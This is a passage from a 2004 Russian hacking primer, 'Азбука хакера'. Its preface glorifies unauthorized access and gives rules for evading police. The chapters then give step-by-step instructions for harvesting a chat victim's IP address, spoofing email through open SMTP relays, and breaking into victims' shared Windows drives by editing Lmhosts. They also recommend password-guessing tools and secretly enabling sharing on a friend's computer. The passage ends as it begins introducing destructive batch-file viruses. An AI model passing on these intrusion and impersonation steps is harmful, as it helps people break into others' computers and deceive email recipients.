Варфоломей Собейкис

Азбука хакера

Серия книг «Популярный компьютер»

Москва

2004

УДК 004.7
ББК 32.973.202
Н171

Серия основана в 2002 году

Н171 **В. А. Собейкис**

Азбука хакера / Собейкис Варфоломей Арчибальдович. - М.: Остеон. 2003. - 512 с. - (Серия книг «Популярный компьютер»).

ISBN 5-901321-60-X

Мы предлагаем читателю книгу про про хакинг, написанную специально для тех, кто решил себя ему посвятить. Эта книга расскажет вам и позволит понять не только философию и психологию хакера, но и содержит массу полезных советов и приемов, которые позволят читателю саому освоить хакинг с нуля

УДК 004.7
ББК 32.973.202

© Собейкис В.А.., 2004
© Подготовка макета «Остеон-Фонд», 2004

ISBN 5-901321-60-X

От автора. Предисловие хакера для будущих хакеров

Мир меняется, но основополагающие идеи остаются неизменными. Прежде чем приступить к рассмотрению программных и технических аспектов хакерских методов, читатель должен понять идеологию нашего движения. Она описывается термином «анархизм». Анархизм имеет мало общего с грабежами батьки Махно, но эта идеология близка к тем взглядам, которые отстаиваем мы. Главный из них: это право на доступ к любой информации. На наш взгляд, все беды современного мира возникают от малых групп людей, которые продавливают в общество свои корпоративных интересы. Допустим, руководство Министерства атомной промышленности решило помочь болгарам избавиться от их радиоактивных отходов — естественно, за энное количество миллионов баксов. Они давят на кнопочки телефонов, дергают нужные ниточки-связи, и вот уже в Россию направляются составы, груженные отработанным стронцием. Но тут в игру вступают хакеры, и эта интрига становится достоянием общественности. Сделка не состоялась. Болгары получили свои составы с отходами обратно, огромные территории нашей страны не стали могильниками, а тысячи людей не заболели раком и лучевой болезнью.

Счастливый конец? Не совсем. Из-за нашего вмешательства кучка высокопоставленных москвичей не купила себе виллы на берегах лазурных морей и океанов. Мы раскрыли их тайные планы и сделали их явными. Властям такие прецеденты не нравятся. Вот почему на нас ведется охота. Мы не позволяем большим чиновникам превращать людей в послушное и безмолвное стадо. Вам, наверное, известно о громком процессе над Кевином Митником — хакером, который взламывал коды спутниковой телефонной связи. Почему его ловили сотни агентов ФБР? Потому что он выдал жуткую тайну правительств и больших международных корпораций. Он сообщил широкой общественности, что в чипы наших мобильников встроены коды, которые позволяют властям прослушивать разговоры людей, определять их адреса и местоположение звонившего человека. Да, теперь мы знаем, что с помощью этих кодов был убит Джохар Дудаев и выслежены многие террористы. Но нам не известно, сколько государственных и производственных секретов ушло к производителям этих чипов. А вы виде-

ли мобилы с российскими брэндами? Вам интересно, где именно, помимо ФСБ, ведется прослушка ваших интимных бесед по телефонам? Как бы там ни было, Митник первым вскрыл засекреченную информацию и получил за это огромный срок (семь лет тюрьмы за хакерство — крутовато даже для Америки). Короче, не все так просто, как это выглядит с экранов телевизоров.

Я не собираюсь обращать вас в анархистскую веру. Это всего лишь книга о хакерах и для хакеров. Начинается новая эпоха с новыми типами войн. В школе вам дают начальную военную подготовку. Моя книга подготовит вас к компьютерным войнам. Каждый современный человек должен знать, как входить в защищенные системы. Только это позволит нам вырваться из когтей олигархического общества и избежать тоталитарных режимов власти. Но прежде, чем приступать к усвоению знаний, давайте посмотрим, в какой коллектив вы вливаетесь.

Органы власти называют нас компьютерным подпольем. Они до сих пор навешивают нам ярлыки из прошлого века и делят ребят на хакеров, фрикеров и пиратов... Вот выдержка из аналитического отчета, который мне попался на одном из хакнутых серверов информационного центра ГУВД Москвы.

> «Возникновение КП (компьютерного подполья) — это новый феномен, поэтому данные, использованные в отчете, собраны по «логам» (сообщениям) особых компьютерных форумов. Участники КП делятся на три категории: хакеров, фрикеров и пиратов.
>
> Хакер — это преступник, специализирующийся на получении неавторизированного доступа к компьютерным системам. Термин «hacker» имеет следующие толкования (см. словарь Уэбстера): 1. тот, кто делает рытвину или насечку; 2. неумелый игрок в теннис или гольф; 3. талантливый и опытный пользователь компьютеров — особенно тот, кто пытается получить неавторизованный доступ к файлам. Хакеры похищают информацию, хранящуюся в компьютерах других людей. Проникая в системы без авторизованного доступа, они не могут пользоваться обычными операционными мануалами и другим ресурсам, доступными законному пользователю. Поэтому им приходится экспериментировать с командами и исследовать файлы, чтобы понять систему. Изощренные методы позволяют хакерам получать наивысшие привилегии доступа и добираться до защищенной информации.
>
> Фрикер — это преступник, который специализируется

> на получении неавторизированной информации о телефонных сетях. Термин «фрикинг» имеет несколько разных смыслов и относится к обходу счетных программ телефонных компаний, которые ведут учет абонентского времени. При использовании фрикинга абонент совершает местные и международные звонки бесплатно. Кроме того, он устраняют возможность отслеживания его звонков.
>
> Первоначально фрикерские методы вовлекали применение электромеханических устройств, которые генерировали ключевые тона или меняли напряжение в телефонной линии, заставляя механические переключатели телефонных компаний проводить соединения без учета оплаты. Однако с появлением компьютеризированных телефонных систем эти устройства вышли из употребления. Фрикеры объединились с хакерами, и теперь фрикинг используется для бесплатного подключения к сети через модемы. Изобретение кредитных телефонных карт превратило фрикинг в поиск (codez) — действующих номеров. Благодаря этим картам преступникам уже не требуется специальное оборудование. Имея «кодез», они могут звонить в любую страну и любому абоненту.
>
> «Пираты» — это участники КП, которые взламывают и подделывают компьютерные коды авторизации для последующего незаконного распространения программных продуктов, защищенных авторскими и корпоративными правами. По прикидкам экономистов, незаконное копирование софтовских программ наносит индустрии миллиардные убытки...»

Так почему же хакинг считается незаконной деятельностью? Потому что мы требуем свободного доступа к любой информации и, в конечном счете, получаем его. Это огорчает людей, которым хочется продавать нам свои программные продукты за большие деньги. И эти деньги неправедные. Возьмем самую распространенную рисовальную программу от фирмы Adobe — всем прекрасно известный Photoshop. Ее лицензированная версия продается за 500-600 долларов, а пиратская за 3. И пираты на этой дешевизне еще что-то и зарабатывают. Конечно же, деньги эти неправедные и у фирмы Adobe украденные. Но ведь получается что и почтенная фирма Adobe на своем, кстати, вполне неплохом продукте, имеет не 100, и не 200, а все 2000% процентов прибыли. Не крутовато ли? И если это — не самая наглая сверх-

прибыль и грабеж покупателей, то как же еще прикажете это называть?

Но монополистам нравится получать такие деньги. На их барыши создаются новые законы. Нас наказывают за тягу к знаниям, а в это время убийцы, насильники, террористы, работорговцы и растлители детей спокойно продолжают совершать преступления. Мы не представляем угрозу для простых людей.

Нам приписывают создание вирусов, уничтожающих программы, но их, в основном, пишут в компаниях, которые специализируются на безопасности компьютерных систем. Это их бизнес. Они создают угрозу для вас, пугают «червями» и «страшными вирусами», а затем предлагают вам защиту от них. Обычный рэкет. Вспомните, ведь именно они, фирмы, специализирующиеся на проблеме «компьютерной безопасности» придумали так называемую «проблему 2000 года» и захапали колоссальные деньги, перепугав весь мир несуществующей опасностью.

Наше мировоззрение основывается на нескольких незыблемых правилах. Хакер не портит системы. Он изучает их. Если вы нанесете системе вред, это будет замечено, и вас поймают. Если вы действуете осторожно и ничего не трогаете, вас не обнаружат. Отсюда вытекает свод правил:

1. Никогда не вредите компьютерной системе. Это создаст ненужные проблемы.

2. Никогда не меняйте системные файлы, если это не требуется для вашей личной безопасности и последующего проникновения в систему.

3. Делитесь информацией о ваших хакерских успехах только с теми людьми, которым вы доверили бы свою жизнь.

4. Не афишируйте себя в Сети, потому что все форумы и сайты находятся под наблюдением представителей закона и защитников корпоративных интересов.

5. Никогда не используйте в Сети своих настоящих данных (ФИО, адрес, телефонный номер).

6. Никогда не теряйте контроль над системами, которые вы хакнули.

7. Не «ломайте» правительственных компьютеров (если только не достигли уровня визарда или элиты).

8. Не говорите о хакерских делах по линии домашнего телефона.

9. Держите свои архивы в безопасном месте, где их не найдут при возможном обыске.

10. Чтобы стать настоящим хакером, вы должны заниматься хакингом. Вы не станете хакером, если будете только читать о наших методах и находках. Без практики вы даже не поймете, о чем мы говорим.

11. И... не попадайтесь! Это главное правило.

В нашей среде существует своя иерархия. Каждый *хакер* рождается *ламером*, затем проходит стадии *новичка* и *скриптососа*. Лучшие добираются до уровней *ниндзи*, *визарда* и, наконец, *элиты*. Все начинают свой путь с обучения. Чем больше руководств вы освоите, тем лучше. Существует интересная закономерность: то, что поначалу кажется вам бесполезной ерундой, позже становится ценной и полезной информацией.

По традиции, доставшейся нам от первых хакеров, обучающие материалы выдаются в виде «руководств». Эта книга представляет собой небольшой сборник «тьютов», предназначенный для начинающих хакеров.

За дело, юноши и девушки. Страна ждет своих героев!

Варфоломей Собейкис

Глава 1. Первые шаги в DOS*e* и Windows*e*

В этой главе вы узнаете о первых шагах хакера. Это только детские шаги в мире компьютерной безопасности. Тем не менее, вы приобретете кое-какой опыт и научитесь защищаться от атак начинающих скриптососов. Начиная наше путешествие, мы должны создать небольшой плацдарм для высадки в мир хакеров. Другими словами, нам понадобится поверхностное понимание того, что представляет собой компьютер, и как он работает. Мы начнем с главного — с операционной системы DOS.

DOS

Возможно, вы даже не знаете, что это такое. Тогда я объясню: DOS — это очень старая операционная система, придуманная в 80-х годах прошлого века. Только не морщите нос! Она по-прежнему действует в вашем компьютере. Фактически, она является душой вашей машины. А Windows 9.x — это просто красивый интерфейс для DOS — как бы яркий макияж на лице пожилой женщины. По большому счету, Windows выполняет команды DOS. Вам теперь не нужно печатать их — это делает за вас программа Билла Гейтса.

Как запустить DOS из Windows?

Очень просто. Кликните на «Пуск» (**Start**), затем на «Выполнить» (**Run**), затем напечатайте **«command»** (только убедитесь, что напечатали это слово без кавычек). Перед вами появится черное окно с заголовком «Сеанс MS-DOS». Примите мои поздравления. Вы только что активировали DOS.

Как же работает эта дряхлая старушка?

А работает она, в основном, через текст. Вы печатаете команды — но не все, что взбредут вам в голову! Если команда неправильная, DOS ответит вам сообщением о плохой команде и файловом имени.

Вот несколько примеров неудачных «сеансов» (в круглых скоб-

ках вам дается русский перевод английских слов):

C:> HELLO (привет)

BAD COMMAND OR FILE NAME (неправильная команда или файловое имя)

C:> HELP (помоги)

BAD COMMAND OR FILE NAME

C:> DO SOMETHING! (сделай что-нибудь!)

BAD COMMAND OR FILE NAME

C:> RUN A PROGRAM DAMMIT! (запусти программу, черт бы тебя побрал!)

BAD COMMAND OR FILE NAME

C:> F**K YOU! (хи-хи-хи, тут имеется в виду нехорошее ругательство)

BAD COMMAND OR FILE NAME, A**HOLE

Последнее слово тоже нехорошее, и оно добавлено мной. А DOS никогда не ругается. Тем не менее, вам нужно набирать команды, которые понимает операционная система — вот ведь какая беда.

Я научу вас некоторым командам для DOS, которые имеют отношение к компьютерной безопасности. Давайте начнем с чего-нибудь легкого. Например, с команды ping. Итак, войдите в режим on-line, затем выведите черное окно «Сеанса MS-DOS» и напечатайте: **ping yahoo.com.** В ответ вы получите примерно такую информацию:

«Обмен пакетами с yahoo.com [66.218.71.198] по 32 байт:

Ответ от 66.218.71.198: число байт=32 время=6мс TTL=128

Ответ от 66.218.71.198: число байт=32 время<10мс TTL=128

Ответ от 66.218.71.198: число байт=32 время<10мс TTL=128

Ответ от 66.218.71.198: число байт=32 время<10мс TTL=128

Статистика ping для 66.218.71.198:

Пакетов: послано=4, получено=4, потеряно=0 (0% потерь),

Приблизительное время передачи и приема:

Наименьшее=0мс, наибольшее=6мс, среднее=1мс

В основном, эта информация означает, что www.yahoo.com активна и находится в режиме on-line. Иными словами, их компьютеры включены и работают. Когда вы хотите сделать ping какого-нибудь

сайта, всегда убирайте спереди «www». Например, если вы делаете ping для **www.microsoft.com**, то напечатайте: **ping microsoft.com.**

Как видите, это очень простая команда. Она также работает с IP-адресами. (Если вы не знаете, что это такое, то не унывайте — мы поговорим о них позже.) Формат тот же самый, только вместо стандартного адреса сайта мы печатаем его IP-адрес. Например: Ping 212.74.226.182. Эта команда сделает ping компьютера, который приписан к IP-адресу 212.74.226.182.

Усвоили? Поехали дальше. Следующая команда называется tracert. В зловещем черном DOS-окне печатаем: tracert yahoo.com. В ответ вы получите список компьютерных адресов, через которые ваш запрос идет к указанному месту назначения (в нашем случае — yahoo.com).

Интернет работает таким образом: когда вы хотите зайти на какой-то сайт, вы печатаете его адрес на своем броузере, затем ваш броузер передает адрес другому компьютеру в Сети, а тот, в свою очередь, пересылает запрос следующему компьютеру. И так далее и так далее, пока запрос не достигнет цели. Команда «tracert» показывает вам, сколько компьютеров находится в этой цепочке, и сообщает их IP-адреса. Формат такой же, как у команды ping. Как видите, tracert также работает с IP-адресами.

Теперь рассмотрим команду netstat. Эта команда показывает, сколько активных портов на вашем компьютере. Порты - это вроде дыр в вашей защите. Большинство из них закрыты, но некоторые открыты по разным причинам. И кое-какие причины очень опасны, потому что благодаря им кто-то может пробраться в ваш компьютер и сделать там все, что ему захочется. Поэтому снова возвращаемся в черное DOS-окно и печатаем: netstat.

Если у вас в машине кто-то гостит, вы получите список активных подключений к вашему компьютеру. Если список не появился, то примите мои поздравления — гостей в вашей машине на данный момент не имеется. Если список появился, то перепишите IP-адреса, загляните на **www.SamSpade.org** и, перепечатав адреса, узнайте их хозяев. Возможно, некоторые из них вызовут у вас подозрение. Чтобы выставить от таких подозрительных гостей минимальную защиту, обзаведитесь программой из семейства Firewall.

Другой характерной чертой netstat является добавление к команде «-a». Напечатайте: netstat -a (и убедитесь, что между netstat и -a есть один пробел). В окне «Сеанса-DOS» появится список всех открытых портов вашего компьютера. В этом списке будут показано,

имеются ли учрежденные соединения с одним из отрытых портов. Открытые порты могут означать «троянских коней» (или лазейки) на вашем компьютере. Вот почему вы обязательно должны установить себе антивирус и Firewall.

На всякий случай дам вам такую таблицу:

netstat -a = команда показывает все открытые порты на вашем компьютере.

netstat -e = команда показывает все информацию ethernet на вашем компьютере.

netstat -n = команда показывает IP всем компьютеров, подключенных к вам.

netstat -r = команда показывает информацию о маршрутизации.

netstat -s = команда показывает статистику о TCP/UDP на локальном компьютере.

Следующая команда nbtstat -A предупредит вас о том, если какой-то удаленный компьютер «шарит» (делит вместе с вами) или распечатывает ваши файлы (об этом мы поговорим подробнее в разделе «NetBIOS под Windows 9.x»). Команда печатается в таком виде: nbtstat -A IP-адрес. Не забывайте о пробеле между командой и префиксом.

Я знаю программу, в которой собраны все эти команды. Она очень удобна для использования и называется «Hacker's Office». Вы можете найти ее по адресу **www.geocities.com/darren 1333/Software.html.**

Теперь давайте поговорим о том, как можно красть IP-адреса людей. Это очень простое занятие, если вы знаете, как действует программа, которая поможет вам напроситься в гости (то есть, обеспечит для вас хостинг). Если вы не знаете этого, то я вкратце шаг за шагом объясню процесс.

Сначала нужно приобрести ту же чат-программу, которой пользуется ваша жертва — программу, обеспечивающую передачу файлов. Предположим, что человек применяет AIM (AOL Instant Messenger). Значит, и вы поступаете так же. Теперь вам нужно начать общение с жертвой. Предложите обменяться фотографиями и отправьте файл. Запомните! Файл по размеру *должен превышать* 100 kb. Для его пересылки потребуется не меньше двух секунд, и вы получите время для кражи IP-адреса.

Одновременно с пересылкой файла, кликните «Пуск» (**Start**), затем «Выполнить» (**Run**) и напечатайте «**command**» (без кавычек). В окне DOS напечатайте «**netstat**» (без кавычек). Перед вами развернется список всех соединений вашего компьютера. Ищите где-то рядом с портом 5190. Или ищите запись, которая выглядит как комбинация слов и чисел. Она будет выглядеть примерно так (но не полностью таким образом):

2cust201.tnt10.syd2.da.uu.net

Получив ее, вы можете запустить наш славный **«Hacker's Office»** (Хакерский офис), под **Nettools** (Сетевые инструменты) кликнуть опцию **«Resolve host»** (Принять гостя). Затем под **hostname** (имя гостя) напечатать ту запись, которую мы получили через **«netstat»** — в нашем примере: 2cust201.tnt10.syd2.da.uu.net

Затем вы щелкаете по кнопке «resolve host» и ждете три секунды. Опаньки! Перед вами появляется IP-адрес. Вы можете использовать его в той же программе (**Nettools** в **«Hacker's office»**), чтобы провести полное сканирование того компьютера и посмотреть, какие порты у него открыты.

Если же жертва не применяет чатовские программы, которые поддерживают пересылку файлов, а вам очень хочется достать IP-адрес этого человека, то лучше всего воспользоваться программой **«IP sniffer»** (снифер - это «нюхач» или зверь, который своим чутьем находит дичь). Данная программа позволит вам получать любые IP-адреса. Вы можете скачать ее здесь: **http://internet.downloadatoz.com/ip-sniffers.** Программа поставляется с инструкциями, так что вы получите полную консультацию на заданную тему.

Внимание! Если какие-то ссылки у вас не идут, то используйте поисковые системы. Находите указанные программы самостоятельно. В Сети имеется все, что необходимо для счастья начинающему хакеру.

Теперь представим вариант, что вам нужен IP-адрес сервера, который дает хостинг какому-нибудь сайту с адресом ???.com. В этом случае вы снова используете функцию **Resolve Host** в **Net Tools**, печатаете этот адрес.com (без www.) и кликаете по кнопке «resolve host». Если вам захочется узнать IP-адрес **www.google.com**, то под **«resolve host»** напечатайте: **google.com**, затем щелкните на **Resolve host** и подождите три секунды. Бумс! Вам выдается IP-адрес.

Следующим вашим шагом будет знакомство с программой **telnet**. Эта программа важна для каждого пользователя Windows, который не хочет ковыряться в своей операционной системе. Telnet — это такой же протокол, как HTTP и FTP. Telnet не требует никаких усилий и дейст-

вий. Вы запускаете его, когда соединяетесь с Интернетом. Любая интернетовская услуга поддерживает его (даже сладенькая AOL).

Вы можете запустить telnet, если кликните на «Пуск» (**Start**), «Выполнить» (**Run**) и затем напечатаете «**telnet**» (как всегда без кавычек). Как только вы загрузите его, перед вами появится белое окно. Прежде чем мы узнаем, как связываться с любым вэбсайтом, который поддерживает этот протокол, мы должны правильно конфигурировать telnet.

Ступайте в «Терминал» (**Terminal**), затем в «Параметры» (**Preferences**) и убедитесь, что опция «Отображение ввода» (**local echo**) включена. Затем кликните ОК. Эта опция по умолчанию отключена.

Итак, вы готовы соединиться к серверу с помощью telnet. Вы можете активировать такую связь, кликнув на кнопку «Подключить» (**Connect**), а затем на опцию «Удаленная система» (**Remote System**). Перед вами появится окно, которое спросит вас имя, порт и тип терминала для цели или хоста (хозяина).

В первом случае напечатайте адрес сайта (например, **google.com**). Во второй строке определите номер порта, по которому хотите вести подключение. Порт — это открытая дырка в защите компьютера. Люди могут соединяться с портом и направлять через него информацию. Имеются множество портов для каждого вида услуг.

Например, когда вы посещаете вэбсайт, все пересылки на сервер и обратно проходят через порт 80. В третьей строке окна оставьте тип терминала таким, какой там указан (**vt100**). Теперь вы нажимаете на кнопку «Подключить» (**Connect**) и создаете подключение.

Прекрасно! Сейчас мы поговорим немного о серфинге по портам.

Серфинг по портам

Серфинг по портам — это процесс исследования компьютерных серверов с помощью всей основных портов компьютера. Ознакомившись с перечнем предлагаемых услуг, вы узнаете, какая операционная система там используется и какой софт применяется для обеспечения услуг. Это важно, если вы планируете «вломиться» в сервер. Но эту тему мы обсудим позже. Пока займемся серфингом по портам.

Такой вид серфинга вовлекает программу telnet. Итак, повторяем

процедуру загрузки этой программы: нажимаем «Пуск», «Выполнить» и печатаем без кавычек «telnet». Загрузив его, кликните на «Подключить», затем на «Удаленную систему», после этого напечатайте адрес того сайта, с которым вы хотите соединиться. (Новичкам я советую использовать сайты институтов и университетов, потому что у них активированы почти все их порты.) Затем в строке порта введите один из этих номеров (в зависимости оттого, что вы хотите от сервера):

****

Номер порта	Услуга	Для чего вы должны соединяться с этим портом

****

7	echo	Все, что вы напечатаете, хозяин вернет вам назад. (Не очень полезная функция.)
11	systat	Много информации о пользователях
13	daytime	Время и данные о местоположении компьютера
15	netstat	Огромная информация по сетям
21	ftp	Передача файлов
23	telnet	Там, где вы записываетесь в лог (в журнал)
25	smpt	Для подделки «мыла» (e-mail)
37	time	Время
39	rlp	Ресурсы размещения
43	whois	Информация о хозяевах и сетях
53	domain	Название сервера
79	finger	Много информации о пользователях
80	http	Вебсервер
110	pop	Входящая почта (email)
119	nntp	Новостные группы Usenet — поддельная почта
443	https	Вэбсервер, отвечающий за безопасность
512	biff	Почтовые извещения
513		rlogin Удаленный логин
	who	Информация об удаленном пользователе и время его активности на сайте

514	shell	Удаленная команда (пароль не нужен)
	sislog	Записи об удаленной системе
520	route	Протокол маршрутизации

****

Вы можете выбрать один из этих портов и соединиться с ним, а затем исследовать его. Прошу заметить, что из-за частых и неумелых хакерских атак не все сервера активируют некоторые номера портов. Многие из них обходятся минимумом (например, портом 80).

Давайте рассмотрим использование порта 25. Порт 25, как вы уже поняли, является SMTP портом, из которого можно направить электронную почту. Примечательно, что SMTP не требует пароля или каких-то подтверждений, поэтому вы можете отправлять почту любому человеку, который использует какой-нибудь SMTP сервер. Здесь вам потребуются дополнительные объяснения:

Сначала мы запускаем telnet («Пуск», «Выполнить» и «telnet» без кавычек). Эта программа позволяет вам связываться с удаленными компьютерами. Она требует два куска информации: имя узла и номер порта.

Перед началом работы с telnet вы должны произвести конфигурацию. Для этого вы идете в «Терминал», затем в «Параметры» и активируете «Отражение ввода». Кликнув ОК, вы готовы к подключению.

Далее вам следует нажать кнопку «Подключить», задействовать опцию «Удаленная система», ввести название узла и указать порт 25. Порт 25 — это стандартный номер для SMTP.

Нажав на «Подключить», мы получаем информацию о выбранном узле. Теперь вы можете печатать команды в белом окне. Прежде всего вам следует ввести команду Helo. Эта команда идентифицирует (или представляет) вас хозяину (то есть, узлу). Поэтому вам нужно напечатать следующее:

```
Helo ваш-ложный-адрес.com (или .ru).
```

Ваш ложный адрес можно заменить на адрес, который вы решили подделать. Например, если вы хотите поздравить друга с днем рождения, то можете использовать адрес fsb@fsb.ru . Для этого в белом окне telnet программы напечатайте: **Helo fsb.ru .**

Следующая команда, которую вам нужно напечатать, это Mail From: . Ее нужно вводить в следующем виде:

Mail From:поддельное-имя@ваш-ложный-адрес.ru.

То есть, для нашего примера мы используем эту команду так:

Mail From:fsb@fsb.ru .

Третья команда — Rcpt to: . Она используется в таком виде:

RCPT TO:ник-жертвы@address.ru .

Эта команда говорит серверу, куда следует направить письмо. То есть, здесь вы ставите адрес почты своего друга, которого хотите поздравить с днем рождения.

Четвертая команда — DATA. Она говорит серверу, что сообщение начинается. Ее использование таково: печатаете DATA, затем щелкаете по кнопке Enter и начинаете печатать сообщение.

Некоторые серверы не разрешают использование кнопки Backspace, поэтому печатайте сообщение внимательно. Вам уже не удастся исправить его.

Когда вы напечатаете текст сообщения, снова кликните на Enter. Затем впечатайте один пробел. Да, один пробел. Пример: {клавиша Enter} . Чтобы мы друг друга поняли правильно, я покажу вам, как это все выглядит в одной кучке. Помните, каждая новая строка означает, что вы нажали на клавишу Enter.

Helo ложный-адрес.ru
Mail From:поддельное-имя@ложный-адрес.ru
Rcpt to:ник-жертвы@адрес-жертвы.ru
Data
Здесь идет сообщение...
(Сообщение может содержать несколько строк!)

Для установления подключения вы должны найти узел. Некоторые узлы не позволяют этого, так как им не нравится несанкционированное использование их программ. Они блокируют возможность пересылки сообщений. Как узнать о такой блокировке? Это будет видно по ходу дела. Например, при команде RCPT TO: , вы можете получить отказ (relaying is denied).

Если на этом узле вам отказывают, ищите более терпимый узел.

Лучше всего использовать что-нибудь общеобразовательное (то есть, узлы институтов). А совсем хорошо подойдут небольшие гимназии и колледжи.

Таким образом, мы вкратце ознакомились с работой telnet. Теперь давайте перейдем к обсуждению системы Windows.

Windows 9.x и ее слабые места

Windows 9.x является самой популярной в мире операционной системой. Она установлена на 90% компьютеров всей нашей круглень-кой планеты. Давайте рассмотрим те методы безопасности, которые используются в Windows 9.x. Как вы понимаете, мы сейчас говорим не о взломе какого-то сервера, а о возможных атаках на ваш компьютер. Не забывайте, что любое неразрешенное или несанкционированное проникновение в чужие базы данных считается незаконным. Будучи новичком, вы можете легко попасться. Если вам хочется набраться опыта, то переговорите с друзьями. Используйте для учебно-тренировочных «взломов» их компьютеры.

NetBios

NetBios — это протокол, в котором выполняется шаринг (**File And Print Sharing**), то есть, разрешение на доступ к файлам и принтерам для других пользователей сети (включая весь Интернет). У вас может возникнуть резонный вопрос — а зачем тогда нужны трояны, если имеется такой доступ? Проблема в том, что очень мало людей используют эту возможность. Когда Windows устанавливается на компьютеры, опции «Доступа к файлам и компьютерам» отключаются, и через Интернет их уже не включишь.

Чтобы убедиться в отсутствии такой возможности, нажмите «Пуск» (**Start**), «Настройка» (**Setting**), Панель управления (**Control Panel**), «Сеть» (**Network**), затем кликните на кнопку «Доступ к файлам и принтерам» (**File and Print sharing)** и убедитесь, что все опции отключены. Если они отключены, то хакеры не могут взломать ваш компьютер без использования «троянских коней». Тем не менее, на свете встречаются ротозеи, которые позволяют доступ к своим файлам (скорее всего, они не знают, что это значит).

Ладно, давайте поучимся, как взламывать такие доступные компьютеры. Прежде всего вам нужно открыть окно «Сеанс DOS» («Пуск», «Выполнить» и напечатать без кавычек слово «command». Как только из адских глубин компьютера появится зловещее черное окно, напечатайте там: **nbtstat -A Ipaddress.**

Пусть, к примеру, IP-адресом вашей жертвы будет IP-адрес google.com — известной поисковой системы: 216.239.33.100 . Тогда вам нужно напечатать следующее: nbtstat -A 216.239.33.100 . При использовании этого метода вы можете получить от DOS два вида ответов. Если вы увидите надпись: Host Not Found, это значит, что компьютер вашей жертвы не имеет подключенных опцией в режиме «Доступа к файлам и принтерам». Здесь для «взлома» необходимы трояны. Но если вы получите второй ответ, он будет выглядеть примерно так:

```
Name Type Status
————————————————————————————
Host <20> UNIQUE Registered
Hostbug <00> GROUP Registered
Host machine <03> UNIQUE Registered
————————————————————————————
```

Если получен похожий ответ, то, значит, вы — счастливчик, и пусть мама купит вам мороженное. Такой ответ говорит о том, что вы можете получить доступ к файлам и принтерам жертвы. Таблица показывает вам все то, что доступно для удаленного компьютера. Вы видите цифры в скобках: <20>,<00> и <03>. А знаете, что означают эти коды? Всего лишь то, что этот компьютер имеет допуск для хоста с номером 20. И, значит, мы можем «вломиться» в него!

Что будем делать дальше, о великий мастер хака? А вот что! Идите в Блокнот (**NotePad**). Его можно найти так: «Пуск» (Start), «Программы» (**Programs**), «Стандартные» (**Accessories**) и Блокнот (**Notepad**). Там щелкните на «Файл» (**File**) и на «Открыть» (**Open**)». Перед вами появится окно «Открытие файла». Пройдите по пути **C:/windows/** и найдите файл с названием «**Lmhosts**» (просто Lmhosts без всяких расширений). Откройте его, спуститесь в самый низ файла и напечатайте IP-адрес вашей жертвы (я дал вам в примере IP-адрес www.google.com, но этот сайт не даст вам допуска; здесь нужен IP-адрес чудака, который позволяет доступ к своим файлам). Но для примера воспользуемся IP-адресом google.com . Итак, мы печатаем IP-адрес жертвы, затем нажимаем на клавишу Tab и далее вводим код доступа (то есть, <20>).

Теперь мы сохраняем файл (**Save**) и выходим из Блокнота. Надеюсь, что надежда еще не покинула вас. Ладно, вкратце повторим пройденный путь. Мы записали IP-адрес жертвы и код доступа в скобках, затем активировали Блокнот и открыли файл c:/windows/Lmhosts, а затем добавили следующую строку: IP-адрес Код доступа (IPAddress ShareName). В нашем примере это будет выглядеть так:

216.239.33.100 <20>

(Между IP-адресом и кодом должен быть пропуск, определяемый клавишей Tab. В некоторых компьютерах файл Lmhosts назван lmhosts.sam. Если это ваш случай, то смело используйте файл lmhosts.sam .)

Теперь мы пройдем нелегкий путь новичка, проберемся через «Пуск», «Найти», «Компьютер» и напечатаем в окне IP-адрес жертвы. Если вы правильно отредактировали файл Lmhosts, то появится код доступа. Дважды кликнув по нему, вы можете просмотреть содержимое компьютера вашей жертвы и поздравить себя с первым хаком. Добро пожаловать в наш мир. Я горжусь вами (хнык-хнык). Но...

Если доступ защищен паролем, то вы попадете в проблему. В этом случае вам понадобится инструмент, называемый «Legion». Legion — это прекрасная программа, позволяющая вам находить в Интернете уязвимые компьютеры, которые имеют подключенные опции для «Доступа к файлам и принтерам». Кроме того, эта программа позволит вам подобрать пароль по списку наиболее распространенных паролей.

Имеется еще один способ для того, чтобы сделать себе лазейку в чужой компьютер. Для этого нужно подойти к нему и вручную активировать опции для доступа к файлам и принтерам. Когда ваш приятель пойдет в другую комнату, чтобы принести вам пирожков или бутылочку пива, вы можете выполнить свою хакерскую миссию и обзавестись лазейкой в его компьютер.

Прошу запомнить, что иногда компьютеры с активированным доступом к их файлам, имеют прикрепленные пароли. Это обычно бывает на компьютерах с Windows NT и 2000. Думаю, вам будет затруднительно сидеть и подбирать их вручную. На такие случаи придумана хорошая программа, которая называется Enum. К сожалению, она написана под DOS и не имеет красивого интерфейса с забавными кнопочками. Вам придется запускать ее из DOS. Тем не менее, Enum является отличным инструментом для нахождения и «взлома» компьютеров с активным шарингом (с активированным доступом к файлам и принтерам). Она умеет все — шедевр хакерского искусства. Обязательно найдите ее через поисковые системы и используйте в нашем тайном ремесле.

Теперь рассмотрим другой подход для «взлома» Windows. Он основан на использовании «троянов».

Глава 3. Вирусы моей мечты

Трудолюбивые вирусоделы изобрели множество различных типов вирусов, которые в наши дни подразделяются на несколько групп. Основные из них таковы:

«Лазейки» (Backdoors) — это, в основном, троянские кони, которые открывают лазейки в компьютере жертвы.

«Навозники» (Droppers) — это программы, которые конструируют вирусы. Сами по себе они не вирусы. Они — «фабрики» вирусов.

Полиморфы (Polymorphic) — эти вирусы мутируют каждый раз, когда они заражают файл. Определять их очень трудно.

Тихушники (Stealth) — эти вирусы трудны в определении и уничтожении.

Резиденты памяти (Memory Resident) — этот тип вирусов грузится в память и инфицирует каждую программу, которая запускается пользователем.

Batch

Вирусные пакетные файлы DOS являются exe-файлами с расширением .bat. Они могут содержать в себе команды DOS, которые будут выполняться вашим компьютером. Даже если эти команды прикажут ему убить себя, компьютер выполнит их безоговорочно.

Когда-то в глубокой древности DOS считалась самой лучшей операционной системой. В ней не было прикольных окошек, и для ее использования требовались мозги. Поэтому фирма Microsoft разработала мини-язык, названный бэч-файлом (пакетным файлом). С помощью него люди могли автоматизировать некоторые задачи — например, удалять все временные файлы, удалять любой файл или делать что-нибудь другое. Бэч-файлы — это исполнительные файлы, которым компьютер подчиняется без всяких отговорок. Если они велят удалить все файлы хард-драйва, машина выполняет это указание. Мини-язык, о котором я говорю, это самый легкий из программных языков. Вы запросто можете научиться ему. Не верите? Тогда перейдите в Блокнот («Пуск», «Программы», «Стандартные», «Блокнот»). Вы будете печатать все команды в Блокноте. Написав эти команды, вы сохраните этот файл с расширением .bat.

Но сначала ознакомьтесь с самыми полезными командами:

